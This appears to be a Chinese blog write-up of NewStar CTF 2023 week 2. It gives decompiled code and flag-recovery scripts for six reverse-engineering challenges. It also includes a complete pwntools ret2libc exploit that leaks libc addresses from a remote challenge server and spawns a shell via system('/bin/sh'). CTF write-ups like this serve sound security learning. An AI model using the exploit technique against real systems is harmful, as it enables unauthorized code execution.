newstar week2

发布时间 2023-10-16 20:39:36作者: nyyyddddn

RE

PZthon

发现是python写的,先用 pyinstxtractor解包,然后将PZthon.pyc用pycdc反编译得到源码

# Source Generated with Decompyle++
# File: PZthon.pyc (Python 3.9)


def hello():
    art = '\n              ___                                                                      \n    //   ) )     / /    //   ) )  // | |     / /        // | |  \\ / / \\    / /       \n   //___/ /     / /    //        //__| |    / /        //__| |   \\  /   \\  / /        \n  / ____ /     / /    //  ____  / ___  |   / /        / ___  |   / /     \\/ /         \n //           / /    //    / / //    | |  / /        //    | |  / /\\     / /          \n//           / /___ ((____/ / //     | | / /____/ / //     | | / /  \\   / /           \n                                                                                       \n     / /        //   / / ||   / / //   / /  / /       /__  ___/ ||   / |  / / //   ) ) \n    / /        //____    ||  / / //____    / /          / /     ||  /  | / / //   / /  \n   / /        / ____     || / / / ____    / /          / /      || / /||/ / //   / /   \n  / /        //          ||/ / //        / /          / /       ||/ / |  / //   / /    \n / /____/ / //____/ /    |  / //____/ / / /____/ /   / /        |  /  | / ((___/ /     \n'
    print(art)
    return bytearray(input('Please give me the flag: ').encode())

enc = [
    115,
    121,
    116,
    114,
    110,
    76,
    37,
    96,
    88,
    116,
    113,
    112,
    36,
    97,
    65,
    125,
    103,
    37,
    96,
    114,
    125,
    65,
    39,
    112,
    70,
    112,
    118,
    37,
    123,
    113,
    69,
    79,
    82,
    84,
    89,
    84,
    77,
    76,
    36,
    112,
    99,
    112,
    36,
    65,
    39,
    116,
    97,
    36,
    102,
    86,
    37,
    37,
    36,
    104]
data = hello()
for i in range(len(data)):
    data[i] = data[i] ^ 21
if bytearray(enc) == data:
    print('WOW!!')
else:
    print('I believe you can do it!')
input('To be continue...')

异或一下拿到flag

enc = [
    115,
    121,
    116,
    114,
    110,
    76,
    37,
    96,
    88,
    116,
    113,
    112,
    36,
    97,
    65,
    125,
    103,
    37,
    96,
    114,
    125,
    65,
    39,
    112,
    70,
    112,
    118,
    37,
    123,
    113,
    69,
    79,
    82,
    84,
    89,
    84,
    77,
    76,
    36,
    112,
    99,
    112,
    36,
    65,
    39,
    116,
    97,
    36,
    102,
    86,
    37,
    37,
    36,
    104]

for i in enc:
    print(chr(i ^ 21),end="")

SMC

smc 顾名思义Self-Modifying Code,将代码加密,在运行的时候运行解密的函数,解密加密的代码

这里首先用了一个 VP函数改变了text段的权限,然后通过sub_401042() 里的逻辑,对加密的代码解密,只需要用idapy写一个解密的逻辑,然后转unk类型 转function类型,就能看到加密前的逻辑了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  DWORD *v3; // eax

  v3 = (DWORD *)malloc(0x26u);
  VirtualProtect(&byte_403040, 0x26u, 0x40u, v3);
  puts("Please enter your flag:");
  sub_401025("%s", (char)&unk_4033D4);
  if ( NtCurrentPeb()->BeingDebugged )
  {
    MessageBoxA(0, "Debug Detected!", "Warning!", 0);
    Sleep(0x1388u);
    exit(0);
  }
  sub_401042();
  if ( ((int (__cdecl *)(void *, void *))byte_403040)(&unk_4033D4, &unk_403020) )
    puts("Win!");
  else
    puts("Lose!");
  return system("pause");
}
char sub_401042()
{
  int i; // ecx
  char result; // al

  for ( i = 0; i < 38; ++i )
  {
    result = byte_403068[i & 3];
    byte_403040[i] ^= result;
  }
  return result;
}
import ida_bytes

start_addr = 0x00403040
end_addr = start_addr + 38
xor_data_addr = 0x00403068

# 获取异或数据
xor_data = [ida_bytes.get_byte(xor_data_addr + i) for i in range(4)]

for addr in range(start_addr, end_addr):
    
   	# 获取当前地址的数据
    data = ida_bytes.get_byte(addr)
    
    xor_result = data ^ xor_data[(addr - start_addr) % len(xor_data)]

    ida_bytes.patch_byte(addr, xor_result)

print("success")

操作结束后,将类型先转换成unk ,然后转换成function,就能看到原来的逻辑

char sub_403040()
{
  int v0; // edx

  v0 = 0;
  while ( ((unsigned __int8)inputString[v0] ^ 0x11) + 5 == (unsigned __int8)byte_403020[v0] )
  {
    if ( ++v0 >= 32 )
      return 1;
  }
  return 0;
}

先加五,再异或 0x11 就能拿到flag了

flag = [0x7C, 0x82, 0x75, 0x7B, 0x6F, 0x47, 0x61, 0x57, 0x53, 0x25, 0x47, 0x53, 0x25, 0x84, 0x6A, 0x27, 0x68, 0x27, 0x67, 0x6A, 0x7D, 0x84, 0x7B, 0x35, 0x35, 0x48, 0x25, 0x7B, 0x7E, 0x6A, 0x33, 0x71]

for i in flag:
    byte = (i - 5) ^ 0x11
    print(chr(byte),end="")

Petals

这里有个loc_1209的段 反编译有问题

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  puts("Here is a pack of flowers, to my best love --- you.");
  puts("But I must check your identity, please input the right passwd");
  __isoc99_scanf("%s", byte_4080);
  v4 = strlen(byte_4080);
  if ( strlen(byte_4080) != 25 )
  {
    puts("Please check your input's format!");
    exit(-1);
  }
  ((void (__fastcall *)(char *, _QWORD))loc_1209)(byte_4080, v4);
  sub_160C(byte_4080, &unk_4020, v4);
  printf("If you are succeed, the flag is flag{md5(your input)}");
  return 0LL;
}

这里有个花指令,call 了一个无效的地址,nop一下,重新打包main function反编译就显示正常了

.text:00000000000013AC 74 03                         jz      short near ptr loc_13B0+1
.text:00000000000013AC
.text:00000000000013AE 75 01                         jnz     short near ptr loc_13B0+1
.text:00000000000013AE
.text:00000000000013B0
.text:00000000000013B0                               loc_13B0:                               ; CODE XREF: .text:00000000000013AC↑j
.text:00000000000013B0                                                                       ; .text:00000000000013AE↑j
.text:00000000000013B0 E8 C7 85 EC FE                call    near ptr 0FFFFFFFFFEEC997Ch

这里的逻辑是通过 ~(i ^ a2) 来初始化一个 255的数组,将flag的值当做下标选取v5数组中的值替换flag[i] ,置反的话,首先是生成一个 ~(i ^ a2)的数组,然后根据cmp的数据去查找~(i ^ a2) 对应数据的下标,下标拼接再md5就是flag

unsigned __int64 __fastcall sub_1209(__int64 a1, unsigned int a2)
{
  int i; // [rsp+18h] [rbp-118h]
  unsigned int j; // [rsp+1Ch] [rbp-114h]
  __int64 v5[33]; // [rsp+20h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+128h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(v5, 0, 256);
  for ( i = 0; i <= 255; ++i )
    *((_BYTE *)v5 + i) = ~(i ^ a2);
  for ( j = 0; a2 > j; ++j )
    *(_BYTE *)((int)j + a1) = *((_BYTE *)v5 + *(unsigned __int8 *)((int)j + a1));
  return v6 - __readfsqword(0x28u);
}
flag = [0xD0, 0xD0, 0x85, 0x85, 0x80, 0x80, 0xC5, 0x8A, 0x93, 0x89,
        0x92, 0x8F, 0x87, 0x88, 0x9F, 0x8F, 0xC5, 0x84, 0xD6, 0xD1,
        0xD2, 0x82, 0xD3, 0xDE, 0x87]

v5 = [0] * 256
a2 = len(flag)
for i in range(256):
    v5[i] = ~(i ^ a2) & 0xFF

inputString = []
for byte_val in flag:
    inputString.append(v5.index(byte_val))

for i in inputString:
    print(chr(i),end="")

AndroGenshin

逻辑大概是用 it_is_not_RC4.rc4函数和genshinimpact key去加密base64table,用加密的base64table和it_is_not_base64去加密password,和一个字符串进行cmp,置反的流程是先算出解密的base64table是多少,用解密后的base64table去解密cmp的字符串就能拿到flag

package com.genshin.impact;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.recyclerview.widget.ItemTouchHelper;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
    EditText pass;
    EditText user;

    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        this.user = (EditText) findViewById(R.id.editTextTextUser);
        this.pass = (EditText) findViewById(R.id.editTextTextpassword);
        Button button1 = (Button) findViewById(R.id.button);
        button1.setOnClickListener(new View.OnClickListener() { // from class: com.genshin.impact.MainActivity.1
            @Override // android.view.View.OnClickListener
            public void onClick(View view) {
                String username = MainActivity.this.user.getText().toString();
                String password = MainActivity.this.pass.getText().toString();
                if (username.length() == 0 || password.length() == 0) {
                    Toast.makeText(MainActivity.this, (int) R.string.wrong3, 0).show();
                    return;
                }
                if (!username.equals("genshinimpact")) {
                    Toast.makeText(MainActivity.this, (int) R.string.wrong1, 0).show();
                }
                int[] base64_table = {125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211, 164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144, 231, ItemTouchHelper.Callback.DEFAULT_SWIPE_ANIMATION_DURATION, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150};
                String retval = it_is_not_RC4.rc4(username, base64_table);
                String result2 = it_is_not_base64.encode(password.getBytes(), retval);
                if (!result2.equals("YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1=")) {
                    Toast.makeText(MainActivity.this, (int) R.string.wrong2, 0).show();
                    return;
                }
                Toast.makeText(MainActivity.this, (int) R.string.Congratulate, 0).show();
                Intent intent = new Intent(MainActivity.this, MainActivity2.class);
                MainActivity.this.startActivity(intent);
            }
        });
    }
}
import base64

def rc4(keyStr, data):
    key = keyStr.encode()
    s = [i for i in range(256)]
    k = [key[i % len(key)] for i in range(256)]
    j = 0
    for i in range(256):
        j = (s[i] + j + k[i]) & 255
        temp = s[i]
        s[i] = s[j]
        s[j] = temp

    result = []
    j2 = 0
    i3 = 0
    for i4 in data:
        i3 = (i3 + 1) & 255
        j2 = (s[i3] + j2) & 255
        temp2 = s[i3]
        s[i3] = s[j2]
        s[j2] = temp2
        rnd = s[(s[i3] + s[j2]) & 255]
        result.append(chr(i4 ^ rnd))
    return ''.join(result)


def decode_custom_base64(data, CUSTOM_TABLE):
    base64_standard = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    trans_data = data.translate(str.maketrans(CUSTOM_TABLE, base64_standard))
    decoded_bytes = base64.b64decode(trans_data)
    return decoded_bytes.decode('utf-8')


base64_table = [125, 239, 101, 151, 77, 163, 163, 110, 58, 230, 186, 206, 84, 84, 189, 193, 30, 63, 104, 178, 130, 211,
                164, 94, 75, 16, 32, 33, 193, 160, 120, 47, 30, 127, 157, 66, 163, 181, 177, 47, 0, 236, 106, 107, 144,
                231, 255, 16, 36, 34, 91, 9, 188, 81, 5, 241, 235, 3, 54, 150, 40, 119, 202, 150]
username = "genshinimpact"
custom_table = rc4(username, base64_table)
flag = "YnwgY2txbE8TRyQecyE1bE8DZWMkMiRgJW1="
flag = decode_custom_base64(flag, custom_table)

print(flag)

C?C++?

用die发现是.net的程序,ida打开全是msil,搜索了一下,可以用jb家的dotPeek来反编译,反编译后的逻辑是这样的,先将inputString按字节加上一个范围是0-35的 index,减去' '的ascii,然后进行一个块操作,块大小为5字节,循环七次,对每个块中的每个字节,都有一个独立的+=的操作。分析清楚逻辑后就可以开始置反操作写解密脚本啦

// Decompiled with JetBrains decompiler
// Type: ConsoleApp1.Program
// Assembly: ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: F409EFA1-6A9F-40C9-9C3E-A5D06A17BC7D
// Assembly location: G:\ctf\newStar2023\week2\re\Strange.exe

using System;

namespace ConsoleApp1
{
  internal class Program
  {
    private static void Main(string[] args)
    {
      int num1 = 35;
      int[] numArray1 = new int[35]
      {
        68,
        75,
        66,
        72,
        99,
        19,
        19,
        78,
        83,
        74,
        91,
        86,
        35,
        39,
        77,
        85,
        44,
        89,
        47,
        92,
        49,
        88,
        48,
        91,
        88,
        102,
        105,
        51,
        76,
        115,
        -124,
        125,
        79,
        122,
        -103
      };
      char[] chArray = new char[35];
      int[] numArray2 = new int[35];
      Console.Write("Input your flag: ");
      string str1 = Console.ReadLine();
      for (int index = 0; index < str1.Length; ++index)
        chArray[index] = str1[index];
      string str2 = "NEWSTAR";
      for (int index = 0; index < num1; ++index)
      {
        chArray[index] += (char) index;
        chArray[index] -= ' ';
      }
      for (int index = 0; index < 7; ++index)
      {
        chArray[index] += (char) (index ^ -((int) str2[index] % 4));
        chArray[index + 7] += (char) ((uint) str2[index] % 5U);
        chArray[index + 14] += (char) (2 * index);
        chArray[index + 21] += (char) (index ^ 2);
        chArray[index + 28] += (char) ((int) str2[index] / 5 + 10);
      }
      for (int index = 0; index < num1; ++index)
      {
        int num2 = (int) chArray[index];
        numArray2[index] = num2;
      }
      for (int index = 0; index < 35; ++index)
      {
        if (index == 34 && numArray2[index] == numArray1[index])
          Console.WriteLine("Right!");
        if (numArray2[index] != numArray1[index])
        {
          Console.WriteLine("Wrong!");
          break;
        }
      }
    }
  }
}

flag = [68, 75, 66, 72, 99, 19, 19, 78, 83, 74, 91, 86, 35, 39, 77, 85, 44, 89, 47,
        92, 49, 88, 48, 91, 88, 102, 105, 51, 76, 115, -124, 125, 79, 122, -103]

str2 = "NEWSTAR"

for i in range(7):
    flag[i] -= (i ^ -(ord(str2[i]) % 4))
    flag[i + 7]  -= (ord(str2[i]) % 5)
    flag[i + 14] -= 2 * i
    flag[i + 21] -= i ^ 2
    flag[i + 28] -= (ord(str2[i]) // 5 + 10)

for i in range(len(flag)):
    flag[i] = (flag[i] - i + ord(' ')) % 256

result = ''.join([chr(i) for i in flag])

print(result)

R4ndom

这个题好坑,有个srand不在main里面,导致出来的随机数都是错误的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // bl
  int v4; // eax
  int i; // [rsp+Ch] [rbp-94h]
  __int64 s2[6]; // [rsp+10h] [rbp-90h] BYREF
  __int16 v8; // [rsp+40h] [rbp-60h]
  char s[8]; // [rsp+50h] [rbp-50h] BYREF
  __int64 v10; // [rsp+58h] [rbp-48h]
  __int64 v11; // [rsp+60h] [rbp-40h]
  __int64 v12; // [rsp+68h] [rbp-38h]
  __int64 v13; // [rsp+70h] [rbp-30h]
  __int64 v14; // [rsp+78h] [rbp-28h]
  __int16 v15; // [rsp+80h] [rbp-20h]
  unsigned __int64 v16; // [rsp+88h] [rbp-18h]

  v16 = __readfsqword(0x28u);
  s2[0] = 0x3513AB8AB2D7E6EELL;
  s2[1] = 0x2EEDBA9CB9C97B02LL;
  s2[2] = 0x16E4F8C8EEFA4FBDLL;
  s2[3] = 0x383014F4983B6382LL;
  s2[4] = 0xEA32360C3D843607LL;
  s2[5] = 42581LL;
  v8 = 0;
  puts("Can You Find the Secret?");
  puts("Give me your flag");
  *(_QWORD *)s = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  v12 = 0LL;
  v13 = 0LL;
  v14 = 0LL;
  v15 = 0;
  __isoc99_scanf("%s", s);
  if ( strlen(s) != 42 )
    exit(0);
  for ( i = 0; i < strlen(s); ++i )
  {
    v3 = s[i];
    v4 = rand();
    s[i] = Table[(16 * ((unsigned __int8)(v3 + v4 % 255) >> 4) + 15) & (unsigned __int8)(v3 + v4 % 255)];
  }
  if ( !memcmp(s, s2, 0x2AuLL) )
    puts("You get the Right Flag!!");
  else
    puts("Maybe your flag is Wrong o.O?");
  return 0;
}
unsigned __int64 b(void)
{
  unsigned __int64 v1; // [rsp+18h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  srand(0x5377654Eu);
  return __readfsqword(0x28u) ^ v1;
}

str2 = [
        0x3513AB8AB2D7E6EE, 0x2EEDBA9CB9C97B02, 0x16E4F8C8EEFA4FBD,
        0x383014F4983B6382, 0xEA32360C3D843607, 42581
]


Table = [
        0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82,
        0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26,
        0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96,
        0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0,
        0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB,
        0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F,
        0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF,
        0xF3, 0xD2, 0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
        0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32,
        0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D,
        0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6,
        0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E,
        0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E,
        0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F,
        0xB0, 0x54, 0xBB, 0x16
    ]

v4_values = [
        1339546161, 401979842, 1084912717, 882247430, 1048050849, 1950252444,
        1188894224, 1035316485, 1004145938, 292996994, 698777994, 1572612448,
        187344395, 1998928827, 490869405, 1976471722, 861192779, 1683160727,
        1968082326, 1836887756, 1806801098, 176220730, 2616407, 375557835,
        1798606494, 1079742625, 657352025, 1384338308, 1249182411, 600742620,
        1626386373, 441244924, 1002722462, 563815442, 1323492354, 2050773311,
        366584239, 364902931, 938606148, 1370730177, 657899925, 1637384142
]

s2 = bytearray(b for value in str2 for b in value.to_bytes(8, byteorder="little"))


for val in s2.strip():
    rand_v4 = v4_values[s2.index(val) % len(v4_values)]

    decoded_char = next(
        (chr(chr_val) for chr_val in range(129)
            if Table[(16 * ((chr_val + rand_v4 % 255) >> 4) + 0xF) &
                (chr_val + rand_v4 % 255) % len(Table)] == val),
        None
    )
    if decoded_char:
        print(decoded_char, end="")

PWN

ret2libc

通过put_plt put_got 还有 read_got的方式泄露这两个地址,用libcsearcher 去找对应的libc版本,找到后根据libc中的偏移算出libc的基地址,然后就能拿到system和binsh啦

from pwn import *
from LibcSearcher import *

elf = context.binary = ELF("ret2libc")
context.log_level = "debug"

# p = process()
ip = "node4.buuoj.cn"
port = 29460
p = remote(ip,port)


puts_got = elf.got['puts']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
pop_rdi_ret = 0x0000000000400763
ret = 0x0000000000400506
main = 0x0000000000400698
offset = b'a' * (0x20 + 0x8)

####################################################### leak_addr1
payload = offset + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b"again\n",payload)
leak_addr1 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leak_addr1[puts] -> {hex(leak_addr1)}")
################################################## leak_addr2
payload = offset + p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(main)
p.sendlineafter(b"again\n",payload)
leak_addr2 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success(f"leak_addr2[read] -> {hex(leak_addr2)}")



libc = LibcSearcher("puts",leak_addr1)
libc.add_condition("read",leak_addr2)
libc_base = leak_addr1 - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")


payload = offset + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)
p.sendlineafter(b"again\n",payload)


p.interactive()

这周有些忙,没有花太多时间在newstar上qaq